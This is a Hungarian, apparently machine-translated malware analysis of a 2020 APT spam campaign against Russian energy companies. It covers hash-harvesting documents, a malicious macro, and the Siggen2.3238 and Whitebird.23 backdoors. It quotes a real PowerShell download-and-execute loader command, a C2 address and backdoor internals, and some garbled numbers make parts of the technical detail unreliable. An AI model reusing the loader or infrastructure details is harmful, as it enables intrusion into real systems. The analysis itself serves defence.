A számítógépes biztonsági incidensek kivizsgálása során szerzett tapasztalataink azt mutatják, hogy az e-mail még mindig az egyik leggyakoribb csatorna, amellyel a támadók kezdetben behatolnak a megtámadott hálózati infrastruktúrákba. Egy-egy óvatlan cselekedet egy gyanús (vagy nem annyira gyanús) levéllel további fertőzés behatolási pontjává válik, ezért a kiberbűnözők aktívan alkalmazzák a social engineering módszereit, igaz, változó sikerrel.
Ebben a bejegyzésben az orosz üzemanyag- és energiakomplexum számos vállalkozását megcélzó spamkampánnyal kapcsolatos közelmúltbeli vizsgálatunkról szeretnénk beszélni. Minden támadás ugyanazt a forgatókönyvet követte, hamis e-maileket használva, és úgy tűnt, hogy senki sem fordított különösebb erőfeszítést ezeknek az e-maileknek a szöveges tartalmára.
Hírszerző szolgálat
Az egész 2020 áprilisának végén kezdődött, amikor a Doctor Web víruselemzői egy spamkampányt észleltek, amelyben a hackerek frissített telefonkönyvet küldtek az orosz üzemanyag- és energiakomplexum számos vállalkozásának alkalmazottai számára. Természetesen ez nem egyszerű aggodalomra ad okot, hiszen a címtár nem volt valódi, és a .docx dokumentumok két képet töltöttek le távoli forrásokból.
Az egyiket a news[.]zannews[.]com szerveréről töltötték le a felhasználó számítógépére. Figyelemre méltó, hogy a domain név hasonló a kazahsztáni korrupcióellenes médiaközpont - zannews[.]kz - domainjéhez. Másrészt a használt tartomány azonnal emlékeztetett egy másik 2015-ös TOPNEWS kampányra, amely ICEFOG hátsó ajtót használt, és trójai vezérlőtartományokat tartalmazott a „news” alsztringgel a nevében. További érdekesség volt, hogy amikor e-maileket küldtek különböző címzetteknek, a kép letöltésére vonatkozó kérések vagy eltérő kérési paramétereket vagy egyedi képneveket használtak.
Meggyőződésünk, hogy ez az információgyűjtés célja a „megbízható” címzett azonosítása, aki így garantáltan felbontja a levelet a megfelelő időben. Az SMB protokoll segítségével letöltötték a képet a második szerverről, amivel a kapott dokumentumot megnyitó alkalmazottak számítógépeiről gyűjtötték össze a NetNTLM hasheket.
És itt van maga a levél a hamis címtárral:
Ez év júniusában a hackerek egy új domain nevet, a sports[.]manhajnews[.]com-ot kezdték használni a képek feltöltésére. Az elemzés kimutatta, hogy a manhajnews[.]com aldomaineket legalább 2019 szeptembere óta használják spam-levelezésekben. A kampány egyik célpontja egy nagy orosz egyetem volt.
Szintén júniusra a támadás szervezői új szöveggel rukkoltak elő leveleikhez: a dokumentum ezúttal az iparág fejlődéséről tartalmazott információkat. A levél szövege egyértelműen jelezte, hogy írója vagy nem orosz anyanyelvű, vagy szándékosan kelt ilyen benyomást magáról. Sajnos az iparfejlesztési elképzelések, mint mindig, csak borítónak bizonyultak – a dokumentumból ismét két képet töltöttek le, míg a szervert download[.]inklingpaper[.]com-ra cserélték.
A következő újítás júliusban következett. Annak érdekében, hogy megkerüljék a rosszindulatú dokumentumok víruskereső programok általi észlelését, a támadók jelszóval titkosított Microsoft Word dokumentumokat kezdtek használni. Ezzel egy időben a támadók egy klasszikus social engineering technika – jutalomértesítés – mellett döntöttek.
A fellebbezés szövege ismét ugyanabban a stílusban készült, ami további gyanút keltett a címzettben. A kép letöltésére szolgáló szerver sem változott.
Vegye figyelembe, hogy minden esetben a mail[.]ru és a yandex[.]ru domainen regisztrált elektronikus postafiókokat használtak a levelek küldésére.
Támadás
2020. szeptember elejére eljött a cselekvés ideje. Víruselemzőink egy új támadási hullámot rögzítettek, amelyben a támadók ismét leveleket küldtek telefonkönyv-frissítés ürügyén. Ezúttal azonban a melléklet rosszindulatú makrót tartalmazott.
A csatolt dokumentum megnyitásakor a makró két fájlt hozott létre:
- VBS parancsfájl: %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, amely egy kötegfájl indítására szolgál;
- Maga a kötegfájl %APPDATA%configstest.bat, amely el lett rejtve.
Munkájának lényege a Powershell shell bizonyos paraméterekkel történő elindítása. A shellnek átadott paraméterek parancsokká dekódolódnak:
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;
Amint a bemutatott parancsokból következik, a tartomány, ahonnan a rakomány letöltődik, ismét híroldalnak van álcázva. Egy egyszerű
BackDoor.Siggen2.3238
Az első az BackDoor.Siggen2.3238 — szakembereink korábban nem találkoztak, és más vírusirtó gyártók sem említették ezt a programot.
Ez a program egy C++ nyelven írt hátsó ajtó, amely 32 bites Windows operációs rendszeren fut.
BackDoor.Siggen2.3238 képes kommunikálni a felügyeleti szerverrel két protokoll használatával: HTTP és HTTPS. A tesztelt minta a HTTPS protokollt használja. A következő User-Agent használatos a kiszolgálóhoz intézett kérésekben:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)
Ebben az esetben az összes kérést a következő paraméterkészlettel látják el:
%s;type=%s;length=%s;realdata=%send
ahol minden %s sort ennek megfelelően felváltja:
- a fertőzött számítógép azonosítója,
- az elküldött kérés típusa,
- az adatok hossza a realdata mezőben,
- adat.
A fertőzött rendszerről szóló információgyűjtés szakaszában a hátsó ajtó egy olyan sort generál, mint:
lan=%s;cmpname=%s;username=%s;version=%s;
ahol a lan a fertőzött számítógép IP-címe, a cmpname a számítógép neve, a felhasználónév a felhasználónév, a verzió a 0.0.4.03 sor.
Ez az információ a sysinfo azonosítóval együtt POST-kéréssel kerül elküldésre a https[:]//31.214[.]157.14/log.txt címen található vezérlőszervernek. Ha válaszul BackDoor.Siggen2.3238 fogadja a HEART jelet, a kapcsolat sikeresnek minősül, és a hátsó ajtó megkezdi a szerverrel való kommunikáció fő ciklusát.
A működési elvek részletesebb leírása BackDoor.Siggen2.3238 a miénkben van
BackDoor.Whitebird.23
A második program a BackDoor.Whitebird backdoor módosítása, amelyet már a kazahsztáni kormányhivatallal történt incidensből ismerhettünk meg. Ez a verzió C++ nyelven íródott, és 32 bites és 64 bites Windows operációs rendszereken is futni készült.
Mint a legtöbb ilyen típusú program, BackDoor.Whitebird.23 célja, hogy titkosított kapcsolatot létesítsen a vezérlőkiszolgálóval és jogosulatlan ellenőrzést biztosítson egy fertőzött számítógépen. Kompromittált rendszerbe telepítve cseppentővel
Az általunk vizsgált minta egy rosszindulatú könyvtár volt, két exporttal:
- A Google Play
- Test.
Munkájának kezdetén a 0x99 bájt XOR műveleten alapuló algoritmus segítségével visszafejti a hátsó ajtó törzsébe bekötött konfigurációt. A konfiguráció így néz ki:
struct st_cfg
{
_DWORD dword0;
wchar_t campaign[64];
wchar_t cnc_addr[256];
_DWORD cnc_port;
wchar_t cnc_addr2[100];
wchar_t cnc_addr3[100];
_BYTE working_hours[1440];
wchar_t proxy_domain[50];
_DWORD proxy_port;
_DWORD proxy_type;
_DWORD use_proxy;
_BYTE proxy_login[50];
_BYTE proxy_password[50];
_BYTE gapa8c[256];
};
Az állandó működés érdekében a hátsó ajtó megváltoztatja a mezőben megadott értéket munkaórák konfigurációk. A mező 1440 bájtot tartalmaz, amelyek 0 vagy 1 értéket vesznek fel, és a nap minden órájának minden percét jelentik. Külön szálat hoz létre minden hálózati interfészhez, amely figyeli az interfészt, és a fertőzött számítógépről keresi a proxykiszolgálón lévő jogosultsági csomagokat. Ha ilyen csomagot észlel, a hátsó ajtó hozzáadja a proxyszerverre vonatkozó információkat a listájához. Ezenkívül a WinAPI-n keresztül ellenőrzi a proxy jelenlétét InternetQueryOptionW.
A program ellenőrzi az aktuális percet és órát, és összehasonlítja a mezőben található adatokkal munkaórák konfigurációk. Ha a nap megfelelő percének értéke nem nulla, akkor kapcsolat jön létre a vezérlőszerverrel.
A szerverrel való kapcsolat létrehozása szimulálja a kapcsolat létrehozását a TLS 1.0 protokoll használatával az ügyfél és a szerver között. A hátsó ajtó teste két puffert tartalmaz.
Az első puffer a TLS 1.0 Client Hello csomagot tartalmazza.
A második puffer 1.0x0 bájt kulcshosszúságú TLS 100 Client Key Exchange csomagokat tartalmaz, Change Cipher Spec, Encrypted Handshake Message.
Client Hello csomag küldésekor a hátsó ajtó 4 bájtot ír az aktuális időből és 28 bájt pszeudo-véletlen adatot a Client Random mezőbe, az alábbiak szerint számítva:
v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
*(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
clientrnd[j] ^= 7 * (_BYTE)j;
A fogadott csomag elküldésre kerül a vezérlőszervernek. A válasz (Server Hello csomag) ellenőrzi:
- megfelelés a TLS protokoll 1.0-s verziójának;
- a kliens által megadott időbélyeg (a Random Data csomag mező első 4 bájtja) megfelelése a szerver által megadott időbélyegnek;
- a kliens és a szerver Random Data mezőjében az időbélyeg utáni első 4 bájt egyezése.
A megadott egyezések esetén a hátsó ajtó klienskulcscsere csomagot készít. Ehhez módosítja a Nyilvános kulcsot az Ügyfélkulcscsere csomagban, valamint a Titkosítás IV és Titkosítási adatokat a Titkosított kézfogási üzenet csomagban.
A hátsó ajtó ezután megkapja a csomagot a parancs- és vezérlőszervertől, ellenőrzi, hogy a TLS protokoll verziója 1.0, majd elfogad még 54 bájtot (a csomag törzsét). Ezzel befejeződik a kapcsolat beállítása.
A működési elvek részletesebb leírása BackDoor.Whitebird.23 a miénkben van
Következtetés és következtetések
A dokumentumok, a rosszindulatú programok és a használt infrastruktúra elemzése lehetővé teszi, hogy magabiztosan állítsuk, hogy a támadást az egyik kínai APT csoport készítette elő. Figyelembe véve az áldozatok számítógépére telepített hátsó ajtók funkcionalitását sikeres támadás esetén, a fertőzés legalább bizalmas információk ellopásához vezet a megtámadott szervezetek számítógépeiről.
Ezen túlmenően egy nagyon valószínű forgatókönyv az, hogy speciális trójaiakat telepítenek speciális funkcióval rendelkező helyi szerverekre. Ezek lehetnek tartományvezérlők, levelezőszerverek, internetes átjárók stb. Amint azt a példában láthattuk
Forrás: will.com